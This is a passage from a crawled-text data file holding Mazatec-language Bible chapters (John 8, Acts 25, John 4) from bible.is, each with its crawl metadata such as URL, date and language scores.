nei‑la̱. 35Jngoò xi̱ta̱ xi chi̱'nda tíjna, mìkiì tjí'nde‑la̱ nga ya̱ kíjna kjit'aà ya̱ ni'ya ñánda síxá. Ta̱nga jngoò xi ki'ndí ma, tjí'ndeé‑la̱ nga kjit'aà na̱chrjein ya̱ kíjna ya̱ ni'ya‑la̱ na̱'èn‑la̱. 36K'oa̱á ma‑ne, tsà jè Ki'ndí‑la̱ Nainá si̱ìkíjnandei̱í‑nò, nguì kixi̱í kjoa̱ nga jñò, ki̱tsa̱jnandei̱í‑nó. 37'A̱n, be‑ná nga tje̱‑la̱ Abraham‑nò; ta̱nga jñò mejèn‑nò nga si̱k'en‑ná, koi‑né nga mìkiì mokjeiín‑nò 'én‑na̱ xi chjà. 38'A̱n, k'oa̱á s'ín chjà koni s'ín tjín xi kìjtseè k'e̱ nga ti̱sa̱ tìjna̱koa̱a Na̱'èn‑na̱. Jñò, k'oa̱á ti̱s'ín 'nè koni s'ín kina'yà‑là na̱'èn‑nò. 39Jñà xi̱ta̱ judío kitsò: ―Jè tje̱‑na̱je̱n, ya̱á inchrobàt'aà‑ne ts'e̱ Abraham. Jè na̱'èn‑jchá kjiìn‑naje̱n. Jesús kiìchja̱ kitsò‑la̱: ―Tsà kixi̱ kjoa̱ nga i̱xti‑la̱ Abraham 'mì‑nò, k'oa̱á s'ín s'e̱en koni s'ín kis'iìn Abraham. 40'A̱n, na̱s'ín jye k'oa̱s'ín tsibeno̱jmí kixi̱‑nò, nga Nainá kitsjaà‑na 'én xi chjà, jñò mejèn‑nò nga si̱k'en‑ná. Abraham mì k'oa̱á kis'iìn. 41Jñò, k'oa̱s'ín 'nè koni s'ín na̱'èn‑nò. Jñà xi̱ta̱ judío kitsò: ―Ngaje̱n, mìtsà kjoa̱ chijngui kits'iìn‑jiìn‑je̱n. Ta̱jngoò jè Na̱'èn‑naje̱n, jè Nainá. 42Jesús kiìchja̱, kitsò‑la̱: ―Tsà kixi̱ kjoa̱ nga jè na̱'èn‑nò Nainá, 'a̱n tjòchaá‑la s'e̱n‑ná nga i̱t'aà ts'e̱ Nainá inchrobà‑na; mìtsà tà kjo̱tsja ts'a̱n nga j'ia̱a; Nainá kisìkasén‑na. 43¿Mé‑ne mìkiì machi̱ya‑nò 'én‑na̱ xi chjàko̱‑nò? Koií‑né nga mìkiì ma‑nò na'yàñijon. 44Na̱'èn‑nò, jè xi̱ta̱ nei̱í, jè nokjoà‑nò. K'oa̱á s'ín 'nè koni s'ín mejèn‑la̱ na̱'èn‑nò. Jè xi ma‑la̱ sík'en xi̱ta̱ kóni nga ti̱sa̱ tàts'en‑la̱ kjoa̱. Mìtsà kjoa̱ kixi̱ s'ín nga tsjìn‑la̱ kjoa̱ kixi̱. K'e̱ nga chja̱ 'én ndiso, k'oa̱á tsò koni s'ín tjín ini̱ma̱‑la̱ nga nguì xi̱ta̱ ndiso‑né. Jè na̱'èn‑la̱ ts'e̱ 'én ndiso. 45Ta̱nga 'a̱n, 'én kixi̱ beno̱jmí‑nò; koií kjoa̱‑la̱ jñò, mìkiì mokjeiín‑nò. 46¿Yá xi̱ta̱ xinguio̱o xi ko̱ma‑la̱ ko̱kò mé jé xi tjín‑na? K'e̱ nga chjàko̱‑nò, nguì 'én kixi̱ chjà, ko̱ ¿mé‑ne mìkiì mokjeiín‑nò? 47Jè xi xi̱ta̱‑la̱ Nainá, 'én‑la̱ Nainá 'nchré. Ta̱nga jñò, nga mìkiì na'yà, koií‑né nga mìtsà xi̱ta̱‑la̱ Nainá 'mì‑nò. 48Jñà xi̱ta̱ judío kiìchja̱, kitsò‑la̱ Jesús: ―Ngaje̱n, koií kjoa̱‑la̱ k'oa̱s'ín 'mì‑lèje̱n: ji̱, xi̱ta̱ Samaria‑né, ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑lè. 49Kiìchja̱ Jesús kitsò‑la̱: ―'A̱n, mìtsà ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑na̱. Jè kjoa̱ xi tìs'iaàn, jè‑né nga bexkoán Na̱'èn‑na̱. Ta̱nga jñò mìkiì yaxkón‑ná. Tà sa̱á nachrjengui‑ná. 50Mìtsà jè kjoa̱ tìhotsjià nga jeya siìkíjna yijo‑na̱. Tíjna jngoò xi tíkosòn‑la̱, jè‑né xi jeya síkíjna‑na. 51Nguì 'én kixi̱ xi chjàko̱‑nò, jè xi síkitasòn 'én‑na̱ koni s'ín xan‑nò, mìkiì ki̱yá ni̱ta̱ kjé‑ne. 52Xi̱ta̱ judío kiìchja̱, kitsò: ―I̱'ndei̱ jyeé 'ya‑je̱n nga ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑lè. Abraham ko̱ ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé, k'en‑né. Ta̱nga ji̱ si‑né: \"Jè xi síkitasòn 'én‑na̱ koni s'ín xan‑nò, mìkiì ki̱yá.\" 53Ngaji̱, ¿a ìsa̱ tíjna ítjoìn a mì k'oa̱‑ne koni jè Na̱'èn‑na̱je̱n Abraham? K'en‑né. Ko̱ ngats'iì xi̱ta̱ xi kiìchja̱ya ngajo‑la̱ Nainá ti̱koa̱á k'en‑né. ¿Yá‑ne ji̱ nga ti̱ji̱ ti̱nachrjeè jeya‑ne yijo‑lè? 54Kiìchja̱ Jesús kitsò‑la̱: ―Tsà ti̱'a̱n jeya síkíjna‑na yijo‑na̱, nìmé chjí‑la̱. Jè xi jeya síkíjna‑na, jè Na̱'èn‑na̱ xi Nainá 'mì‑là. 55Jñò mìkiì yaxkon Nainá, ta̱nga 'a̱n beèxkon‑ná. Tsà xán‑nò mìkiì bexkoan, xi̱ta̱ ndiso ko̱ma koni jñò nga xi̱ta̱ ndiso‑nò. 'A̱n, bexkon‑ná koa̱ sìkitasòn‑ná 'én‑la̱. 56Xi̱ta̱ jchínga‑nò Abraham, tsjaá komà‑la̱ nga mejèn‑la̱ skoe̱xkon na̱chrjein‑na̱ nga j'ia̱a. K'e̱ nga kijtseè na̱chrjein‑na̱ ìsa̱ 'ñó ndaà kjòtsja‑la̱. 57Jñà xi̱ta̱ judío kitsò‑la̱: ―Skanda kj'eè tjín‑lè icháte nó. ¿Kós'ín komà‑ne nga kiyaxkoin Abraham? 58Jesús kiìchja̱ kitsò‑la̱: ―Nguì kixi̱ kjoa̱ xi xan‑nò, 'A̱n‑ná xi ìsa̱ kjòtseé tìjna̱a koni jè Abraham. 59Jñà xi̱ta̱ judío, kiskoé nda̱jo̱ nga mejèn‑la̱ ko̱sèn‑la̱ Jesús. Ta̱nga Jesús tsibìjna'ma, itjo‑ne ndi̱tsin i̱ngo̱, jahajiìn osen‑la̱ xi̱ta̱, i̱kjoàn kiì.\nSan Juan 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/8","date":"2013-12-09T00:21:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163837349\/warc\/CC-MAIN-20131204133037-00030-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":1271,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Festo ijchò Cesarea nga jahas'en xi̱ta̱xá ítjòn; xi komà jàn na̱chrjein itjo‑ne Cesarea, kiì Jerusalén. 2K'e̱ nga jye tíjna Jerusalén, jñà no̱'miì ítjòn ko̱ xi̱ta̱ sko̱‑la̱ xi̱ta̱ judío ijchòkon nga tsohóngui Pablo; kitsjaàt'in 'én xi kondra̱ ts'e̱. 3Xi̱ta̱ koi, kisìjé‑la̱ kjo̱ndaà jè Festo nga kàtjanchrobáko̱ Pablo ya̱ Jerusalén. K'oa̱á s'ín jye tjíndaà‑la̱ nga kítsa̱chjoà ikon‑la̱ ya̱ i̱ya ndi̱yá mé‑ne nga si̱ìk'en‑ne. 4Ta̱nga jè Festo, kitsò: ―Majìn, mìkiì ko̱ma, nga jè Pablo nda̱yá tíjna ján Cesarea; 'a̱n, jyeé ya̱ tìfia. 5Jñà xi̱ta̱xá‑nò ko̱ma koa̱hijtako̱‑na ján Cesarea mé‑ne ko̱ma ko̱hòngui‑ne xi̱ta̱ jè, tsà mé jé xi tjín‑la̱. 6Jè Festo tsibìjna‑la̱ tsà nguì jiìn na̱chrjein ko̱ tsà te na̱chrjein ján Jerusalén; i̱kjoàn kiì ìjngoò k'a‑ne ján Cesarea; nga komà inchijòn ijchò ni'ya osen, tsibìjnanè íxi̱le̱‑la̱ ñánda otíxoma; i̱kjoàn kiskinìkjaá Pablo. 7K'e̱ nga jahas'en ni'ya osen Pablo, jñà xi̱ta̱ judío xi j'iì‑ne Jerusalén, kiì kinchat'aà chrañà‑la̱ nga kitsjaàt'in 'én ndiso xi 'ñó ch'o tsò ta̱nga mìkiì komà kjòkixi̱ya 'én xi kitsjaàt'in. 8Pablo tsasìko̱ yijo‑la̱ kitsò: ―Ni̱mé jé xi tsohotsjià xi kondra̱ ts'e̱ kjo̱tíxoma‑la̱ xi̱ta̱ judío, ni̱ jè kondra̱ ts'e̱ i̱ngo̱ ítjòn‑la̱ Nainá, ni̱ jè kondra̱ ts'e̱ César xi xi̱ta̱xá ítjòn ts'e̱ Roma. 9Ta̱nga jè Festo mejèn‑la̱ nga ndaà kíjnako̱ xi̱ta̱ judío; kiskònangui‑la̱ Pablo, kitsò‑la̱: ―¿A mejèn‑lè nga k'oín ján Jerusalén mé‑ne nga ya̱ kíndaàjñaà kjoa̱‑lè? 10Pablo kitsò: ―Jye i̱ tìjna̱a ñánda tjín kjo̱tíxoma‑la̱ César xi xi̱ta̱xá ítjòn ts'e̱ Roma. Mochjeén‑né nga i̱ kàtasindaàjiìn‑na. Ngaji̱ ndaà tíjiìn‑lè nga nì mé kjoa̱ tsohotsjià i̱t'aà ts'e̱ xi̱ta̱ judío. 11Tsà tjín‑na jé, tsà ok'ìn‑la̱ nga ki̱yá, tíjngoò takoàn nga kàtasík'en‑na; ta̱nga tsà mì kixi̱í kjoa̱ 'én xi tsját'in‑na, mìkiì ko̱ma ya̱ ko̱nga̱tsja i̱t'aà ts'e̱ xi̱ta̱ koi. Ti̱koa̱á‑ne, jè kàtíndaàjiìn‑na César xi xi̱ta̱xá ítjòn ts'e̱ Roma. 12Jè Festo, k'e̱é tsajoóya‑ne ko̱ xi̱ta̱‑la̱ xi títsa̱jnako̱ junta, i̱kjoàn kitsò: ―Tsà k'oa̱á s'ín nìjí nga jè César ki̱ìndaàjiìn‑lè, tà sa̱á ján sìkasén‑lè. 13K'e̱ nga jye tsato chiba na̱chrjein, jè xi̱ta̱xá Agripa ko̱ Berenice kiì ján Cesarea nga kisìhixat'aà Festo. 14Kjìn na̱chrjein tsibìtsa̱jna ya̱ Cesarea; jè Festo tsibéno̱jmí‑la̱ Agripa kjoa̱‑la̱ Pablo, kitsò‑la̱: ―Jè Félix, jngoò xi̱ta̱ kisìkíjnaya nda̱yá i̱jndé. 15K'e̱ nga tsohóti̱jna ján Jerusalén, jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga‑la̱ xi̱ta̱ judío kitsjaà‑na 'én nga óngui. Kisìjé nga kàtiyaà. 16'A̱n, k'oa̱á kixan‑la̱ nga jñà xi̱ta̱xá Roma, mì ta̱xki̱ sík'en xi̱ta̱ k'e̱ nga ti̱kj'eè 'ya‑la̱ jé xi tjín‑la̱. Ítjòn joó'a kjoa̱‑la̱ ko̱ jñà xi̱ta̱ xi óngui mé‑ne nga ko̱ma ki̱nchako̱‑ne yijo‑la̱. 17Koií kjoa̱‑la̱, k'e̱ nga j'iì i̱jndé jñà xi̱ta̱ koi, mìkiì kisìchja na̱chrjein; nga ko̱ma inchijòn, nga jye tìjna̱soàn íxi̱le̱‑na̱ nga tìhotiìxoma, ni̱to̱ón kiskinìkjaá xi̱ta̱ jè. 18K'e̱ nga jye títsa̱jna osen jñà xi̱ta̱ xi óngui, mìtsà koi kjoa̱ tsohóngui koni s'ín 'a̱n tísíkítsjeèn. 19Tà k'oa̱á tjín 'én xi kitsjaàt'in xi kondra̱ ts'e̱ Pablo koni s'ín beèxkón Nainá ko̱ i̱t'aà ts'e̱ jngoò xi̱ta̱ xi 'mì Jesús xi jye k'en; ta̱nga jè Pablo tsò‑né nga tíjnakon‑né. 20'A̱n, mìkiì be mé xi s'iaàn i̱t'aà ts'e̱ kjoa̱ koi. K'e̱é kiskònangui‑la̱ Pablo, a mejèn‑la̱ nga ján kjoi̱ Jerusalén mé‑ne nga ya̱ si̱ndaàjiìn‑la̱ kjoa̱ xi fìnè. 21K'oa̱á s'ín kisìjé Pablo nga jè César ki̱ìndaàjiìn‑la̱. Koií k'oa̱s'ín kitsjaà‑na o̱kixi̱ nga nda̱yá tíjnaya‑ìsa skanda k'e̱ nga ko̱ma sìkasén‑la̱ César. 22Agripa kitsò‑la̱ jè Festo: ―Ti̱koa̱á 'a̱n mejèn‑na nga kji̱'nchrè‑la̱ xi̱ta̱ jè. Festo kitsò: ―Nchijòn‑le̱ ki̱ná'ya‑la̱. 23Nga komà inchijòn, ijchò Agripa ko̱ Berenice. K'e̱ nga jahas'en ni'ya osen 'ñó ndaà kisìs'in‑la̱. Kjihijtako̱ jñà xi̱ta̱ sko̱‑la̱ soldado ko̱ jñà xi̱ta̱ sko̱‑la̱ na̱xa̱ndá. Festo kitsjaà o̱kixi̱ nga kiìchjaà Pablo. 24Festo kitsò: ―Ngaji̱ Agripa xi xi̱ta̱xá ítjòn tijni, ngats'ioò xi i̱ titsa̱jnaà: chítsejèn‑là xi̱ta̱ jè. Ngats'iì jñà xi̱ta̱ judío, 'ñó síjét'aà‑na ján Jerusalén ko̱ i̱ Cesarea nga 'ñó chja̱ nga mejèn‑la̱ si̱ìk'en. 25Ta̱nga 'a̱n, ni̱mé xi matsjit'aà‑na i̱t'aà ts'e̱ nga mochjeén‑la̱ nga ki̱yá. Ta̱nga tso'baá kisìjé‑ne nga jè ki̱ìndaàjiìn‑la̱ César xi xi̱ta̱xá sko̱‑la̱ tíjna‑la̱ ngats'iì xi̱ta̱. 'A̱n, k'oa̱á s'ín kiskoòsòn‑la̱ nga ya̱ siìkasén. 26Ta̱nga 'a̱n, ni̱mé kjoa̱ xi matsji‑na i̱t'aà ts'e̱ xi̱ta̱ jè, kós'ín sìkasén‑la̱ xo̱jo̱n jè César xi xi̱ta̱xá sko̱‑la̱ tíjna‑la̱ ngats'iì xi̱ta̱. K'oa̱á ma‑ne nga sìjét'aà‑nò jñò xi i̱ titsa̱jnaà ko̱ ngaji̱ Agripa xi xi̱ta̱xá ítjòn tijni, mé‑ne k'e̱ nga jye chjinangui‑la̱á, 'a̱n sakó‑na o̱kixi̱ nga sìkasén xi̱ta̱ jè. 27'A̱n, k'oa̱á ma‑na, nga ni̱mé chjí‑la̱ tsà ta̱xki̱ sìkasén jngoaà xi̱ta̱ xi nda̱yá tíjna tsà mì sik'à jngoò xo̱jo̱n xi 'ya‑la̱ mé jé xi tjín‑la̱.\nHechos 25","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/25","date":"2013-12-13T21:17:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164992771\/warc\/CC-MAIN-20131204134952-00055-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":691,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.266,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, kis'eno̱jmí‑la̱ nga jñà xi̱ta̱ fariseo kitsò: Jesús ìsa̱á kjín xi̱ta̱ tís'ín bautizar mé‑ne nga ya̱ skóta'yàt'aà‑la̱ mì k'oa̱‑ne Juan. 2(Ta̱nga Jesús mìtsà xi̱ta̱ kis'iìn bautizar; tà jñà xi̱ta̱ xi kota'yàt'aà‑la̱ xi kis'iìn bautizar.) 3K'oa̱á komà‑ne itjojiìn‑ne nangui Judea; kiì ìjngoò k'a‑ne nangui Galilea. 4K'e̱ nga kiì‑ne, kjo̱'ñó tjín‑ne nga ya̱ kjoa̱hato Samaria. 5Ijchò jngoò na̱xa̱ndá xi 'mì Sicar, nangui xi chja̱‑ne Samaria, ya̱ chrañàt'aà‑la̱ nangui xi kitsjaà kjo̱tjò‑la̱ kjòtseé Jacob jè ki'ndí‑la̱ xi José ki'mì. 6Ya̱á tíjna jngoò nga̱jo̱ nandá xi nei‑la̱ komà Jacob. Jesús jye 'ñó ijta‑la̱ nga tsó'baya ndi̱yá. Tsibìjnat'aà jè nga̱jo̱ nandá nga jyeé kjo̱meè bijchó nchisen. 7- 8Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, tsojmií kiì katse ján i̱jiìn na̱xa̱ndá, jñà tsojmì xi ski̱ne̱. K'e̱é ijchò jngoò chjo̱ón xi ya̱ i̱'nde‑la̱ Samaria xi ijchòkjaá nandá. Jesús kitsò‑la̱: ―Tjiì i̱tsé‑ná nandá xi skia̱a. 9Jñà xi̱ta̱ judío mìkiì ndaà fìko̱ xi̱ta̱ Samaria. Koií kjoa̱‑la̱, jè chjo̱ón kitsò: ―Ngaji̱ xi̱ta̱ judío‑né, ko̱ 'a̱n chjo̱ón Samaria‑ná. ¿Mé‑ne nandá nìjé‑ná? 10Kiìchja̱ Jesús kitsò‑la̱: ―Tsà 'ya‑lè kjo̱tjò xi tsjá Nainá ko̱ tsà yaxkoin yá‑né xi tísíjé‑lè nandá, tsà ji̱ si̱jé‑la̱ nandá, jè tsjá‑lè nandá xi síkíjnakon‑ná. 11Jè chjo̱ón kitsò: ―Na̱'èn, nìmé kich'ì xi ko̱ma ki̱nachrje‑ne nandá. Jè nga̱jo̱ nandá 'ñó na̱nga̱. Ñánda tjín‑lè nandá xi síkíjnakon‑ná. 12Ngaji̱, ¿a ìsa̱á tijna ítjòn‑la̱ xi̱ta̱ jchínga‑na̱je̱n Jacob? Jè kitsjaà‑na̱je̱n jè nga̱jo̱ nandá jè. Jñà xi̱ta̱ jchínga‑na̱je̱n, i̱í kits'iì nandá, i̱xti‑la̱ ko̱ cho̱ tjè‑la̱. 13Kiìchja̱ Jesús kitsò‑la̱: ―Ni̱ta̱ yá‑ne xi skoí nandá xi i̱ tíbitjo, ko̱xíndá ìjngoò k'a‑la̱. 14Ta̱nga jè xi̱ta̱ xi skoí nandá xi 'a̱n tsjaà‑la̱, mì ti̱ kiì ko̱xíndá‑la̱ ni̱ta̱ kjé‑ne. K'oa̱á s'ín s'e̱ i̱jiìn ini̱ma̱‑la̱ koni jngoò nga̱jo̱ nandá xi tíbitjo nga jè nandá si̱ìkíjnakon‑ne ni̱ta̱ kjé‑ne. 15Jè chjo̱ón kitsò: ―Na̱'èn, tjiì‑ná jè nandá xi ko̱'mì‑la̱ mé‑ne nga mì ti̱ kiì ko̱xíndá‑na ti̱koa̱ mì ti̱ i̱í kjoi̱ikjaá‑na̱ nandá. 16Jesús kitsò‑la̱: ―Ti̱nókjoa̱‑la̱ x'i̱n‑lè, nchrobákoi̱i i̱jndé. 17Kiìchja̱ jè chjo̱ón kitsò: ―Tsjìn‑na̱ x'i̱n. Jesús kitsò‑la̱: ―O̱kixi̱í xi si nga tsjìn‑lè x'i̱n. 18Jyeé kò 'òn ma x'i̱n‑lè xi bijnakoi̱i. Jè xi̱ta̱ xi tijnakoi̱i i̱'ndei̱, mìtsà x'i̱n‑lè ma. O̱kixi̱í xi kasi nga tsjìn‑lè x'i̱n. 19Jè chjo̱ón k'e̱ nga kiì'nchré 'én koi kitsò: ―Na̱'èn, k'oa̱á s'ín machi̱ya‑na nga ji̱í‑là xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 20Xi̱ta̱ jchínga‑na̱je̱n xi Samaria tsa̱je̱n, i̱í nindoò jè kijtseèxkón Nainá. Ta̱nga jñò xi xi̱ta̱ judío 'mì‑nò bixón‑nó nga tà ján Jerusalén jcha̱xkoán Nainá. 21Jesús kitsò‑la̱: ―Ngaji̱ chjo̱ón, kàtakjeiín‑lè, jyeé nchrobá machrañà na̱chrjein nga jcha̱xkón Nainá na̱s'ín mì i̱ kji̱nchrobà nindoò jè ko̱ ni̱ ján onguió Jerusalén. 22Jñò, xi Samaria tsa̱jòn, mìkiì 'ya yá‑né xi yaxkón; ta̱nga ngaje̱n xi xi̱ta̱ judío 'mì‑na̱je̱n, 'ya‑náje̱n yá xi yaxkón‑je̱n; nga tje̱‑la̱ xi̱ta̱ judío ki̱tjokàjiìn jngoò xi ko̱chrjekàjiìn kjo̱'in xi̱ta̱. 23Jyeé nchrobá na̱chrjein, ko̱ ti̱jè‑ne hora jè, k'e̱ nga jñà xi̱ta̱ xi nguì kixi̱ kjoa̱ nga beèxkón Nainá, kàteèxkón nga ko̱ ini̱ma̱‑la̱ ko̱ kjoa̱ kixi̱. Ti̱koa̱ jè Na̱'èn‑ná ótsji‑né xi̱ta̱ xi k'oa̱á s'ín mejèn‑la̱ nga skoe̱xkón. 24Nainá Ini̱ma̱ Tsjeè‑né. Jè xi̱ta̱ xi beèxkón, mochjeén‑né nga nguì ko̱ kjoa̱ kixi̱ ko̱ nguì ko̱ ini̱ma̱‑la̱ kàteèxkón. 25Jè chjo̱ón, k'e̱é kitsò: ―'A̱n, be‑ná nga sa̱ kjoi̱í jè Mesías [xi xó si̱ìkasén‑ne Nainá] jè xi Cristo tsòya‑ne; k'e̱ nga jè xi kjoi̱í ke̱èno̱jmí yije‑naje̱n kjoa̱ koi. 26Jesús kitsò‑la̱: ―'A̱n‑ná, jè xi tìhóko̱‑lè. 27Ti̱jè‑ne hora j'iì‑ne xi̱ta̱ xi kota'yàt'aà‑la̱ xi kiì katse tsojmì. Ta̱ k'oa̱á komà‑la̱ nga kijtseè nga chjo̱ón tíhóko̱. Ta̱nga ni̱jngoò xi̱ta̱ xi kitsò ikon nga kiskònangui‑la̱ mé xi tíkjònangui‑la̱, o mé 'én xi nchijoó. 28Jè chjo̱ón, k'e̱é kisìkíjna nisa nandá‑la̱; kiì ján i̱jiìn na̱xa̱ndá nga tsibéno̱jmí yije‑la̱ xi̱ta̱; kitsò‑la̱: 29―Nchrobá, chítsejèn‑là jngoò xi̱ta̱ xi k'oa̱ kàtsò yije‑na̱ kjoa̱ xi kis'iaàn. Tsà jè‑né xi Cristo [xi xó kisìkasén‑ne Nainá]. 30K'e̱é kiì jñà xi̱ta̱ na̱xa̱ndá nga kiì katsejèn‑la̱ ñánda tíjna Jesús. 31Ti̱k'e̱‑ne jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, tsibítsi'ba‑la̱, kitsò‑la̱: ―Maestro, ti̱chi. 32Ta̱nga Jesús kitsò: ―'A̱n, tjín‑na tsojmì xi kókje̱en, xi jñò mìkiì yaxkon. 33Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱ xíkjín: ―¿Yá xi kòf'iìko̱‑la̱ tsojmì xi ski̱ne̱? 34Ta̱nga Jesús kitsò: ―Jñà tsojmì xi kíne̱e, jè‑né nga sìkitasoàn koni s'ín mejèn‑la̱ jè xi kisìkasén‑na̱ ko̱ nga sikjehet'aà xá‑la̱. 35Jñò, bixón‑nó nga nguì ñijòn sá chija‑la̱ nga sincháxkó tsojmì xi jye tímajchá. 'A̱n, k'oa̱á xan‑nò: Chítsejèn‑là xi̱ta̱ koi; k'oa̱á ngaya‑la̱ koni tsojmì tjè xi jye kòjchá; jyeé ko̱ma sincháxkó. 36Jè xi̱ta̱ xi bíxkó, machjí‑la̱, ko̱ jñà tsojmì xi bincháxkó, k'oa̱á ngaya‑la̱ koni xi̱ta̱ xi s'e̱‑la̱ kjoa̱binachon, mé‑ne nga jè xi bítje̱ ko̱ xi bincháxkó ngásòn s'e‑la̱ kjo̱tsja. 37'Én kixi̱‑né xi tsò: \"Kj'ei̱í xi̱ta̱ xi bítje̱ koa̱ kj'ei̱í xi bíxkó.\" 38'A̱n, kisìkasén‑nò nga ki̱nchàxkó tsojmì xi mìtsà jñò kisengui‑nò kjo̱'in. Kj'ei̱í xi kisìxá. Ta̱nga jñò tíhoko̱‑nò nga bíxkó tsojmì tjè‑la̱. 39Kjìn jchán xi̱ta̱ Samaria xi ya̱ títsa̱jna na̱xa̱ndá jè kòkjeiín‑la̱ i̱t'aà ts'e̱ Jesús koni kitsò 'én xi kitsjaà jè chjo̱ón nga kitsò: \"K'oa̱á kàtsò yije‑na kjoa̱ xi kis'iaàn.\" 40K'e̱ nga jñà xi̱ta̱ Samaria ijchòkon Jesús ñánda tíjna, tsibítsi'ba‑la̱ nga ya̱ kàtìjnako̱. Jesús, jò na̱chrjein tsibìjnako̱. 41Kjìn xi̱ta̱ kòkjeiín ìsa̱‑la̱ i̱t'aà ts'e̱ Jesús, k'e̱ nga kiì'nchré‑la̱ 'én xi jè sobà tsibéno̱jmí. 42Jñà xi̱ta̱ kitsò‑la̱ jè chjo̱ón: ―I̱'ndei̱ mokjeiín‑naje̱n; mìtsà tà koi kjoa̱‑la̱ koni s'ín ki'mì‑náje̱n. Ngaje̱n sobà kina'yà‑la̱je̱n; k'oa̱á s'ín ma‑ne nga mokjeiín‑naje̱n. Kixi̱í kjoa̱, jè xi ko̱chrjekàjiìn kjo̱'in kjoa̱ ts'e̱ jé‑la̱ xi̱ta̱ i̱sò'nde, jè‑né xi Cristo [xi xó kisìkasén‑ne Nainá]. 43Xi jye komà jò na̱chrjein nga tsibìjna Samaria, Jesús, itjojiìn ìjngoò k'a‑ne i̱'nde jè. Kiì ìjngoò k'a‑ne nangui Galilea. 44Jè sobà Jesús kitsò: Ni̱jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá yaxkón nangui‑la̱. 45K'e̱ nga ijchò ya̱ Galilea, jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱, ndaà kiskoétjò, nga jyeé kijtseè jñà kjoa̱ xi kis'iìn ján Jerusalén k'e̱ nga itjo s'eí Paxko̱. Jñà xi̱ta̱ koi ti̱koa̱á kiì‑ne k'e̱ nga itjo s'eí. 46Jesús ijchò ìjngoò k'a ján Caná, nangui xi chja̱‑ne Galilea, ñánda kisìkjatjìya‑la̱ nandá nga vino kis'iìn. Ya̱ na̱xa̱ndá Capernaum tíjna jngoò chi̱'nda‑la̱ xi̱ta̱xá ítjòn xi ti̱koa̱ xá 'nga tjín‑la̱. 'Ñó xk'én ki'ndí‑la̱. 47Xi̱ta̱ jè k'e̱ nga kiì'nchré nga Jesús ya̱ ijchò Galilea nga inchrobà‑ne Judea, kiìkon, tsibítsi'ba‑la̱ nga kàtjì ni'ya‑la̱, kàtasìndaà‑ne ki'ndí‑la̱ xi jyeé kjo̱meè biyaà. 48Jesús kitsò‑la̱: ―Jñò, mìkiì mokjeiín‑nò k'e̱ nga tsà mìkiì jcha̱a kjo̱xkón ko̱ kjoa̱ xi okó kjoa̱ jeya‑la̱ Nainá. 49Jè xi̱ta̱ chi̱'nda ítjòn kitsò‑la̱ Jesús: ―Na̱'èn, t'i̱in kjo̱ndaà, ni̱to̱n nchroboí nga ti̱kj'eè biyaà ki'ndí‑na̱. 50Jesús kitsò‑la̱: ―T'in‑ne ni'ya‑lè. Ki'ndí‑lè jyeé ndaà tíjna‑ne. Xi̱ta̱ jè kòkjeiín‑la̱ 'én xi kitsò‑la̱ Jesús. I̱kjoàn kiì‑ne ni'ya‑la̱. 51K'e̱ nga jye kjo̱meè bijchó‑ne ni'ya‑la̱, xi̱ta̱ chi̱'nda‑la̱ kiìkjaá indiaà, kitsò‑la̱: ―Ki'ndí‑lè jyeé ndaà tíjna‑ne. 52Xi̱ta̱ jè, kiskònangui‑la̱ chi̱'nda‑la̱: ―¿Mé hora kjòxa̱n‑la̱ ch'in 'ndi̱ xi tjín‑la̱? Kitsò xi̱ta̱ chi̱'nda‑la̱: ―Ngojña̱ xi jngoò‑là kjòndaà‑ne. 53Jè na̱'èn‑la̱ ti xi xk'én, kisijiìn‑la̱ nga ti̱jè‑ne hora k'e̱ nga kitsò‑la̱ Jesús: \"Ki'ndí‑lè jyeé ndaà tíjna‑ne.\" Xi̱ta̱ jè ko̱ ngats'iì xi̱ta̱ xi títsa̱jna ni'ya‑la̱, jyeé ndaà tjíjngoò ikon nga mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 54Jè xi ma‑ne jò kjo̱xkón xi kis'iìn Jesús k'e̱ nga inchrobà‑ne Judea nga j'iì‑ne ya̱ Galilea.\nSan Juan 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/4","date":"2013-12-05T07:12:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163041301\/warc\/CC-MAIN-20131204131721-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 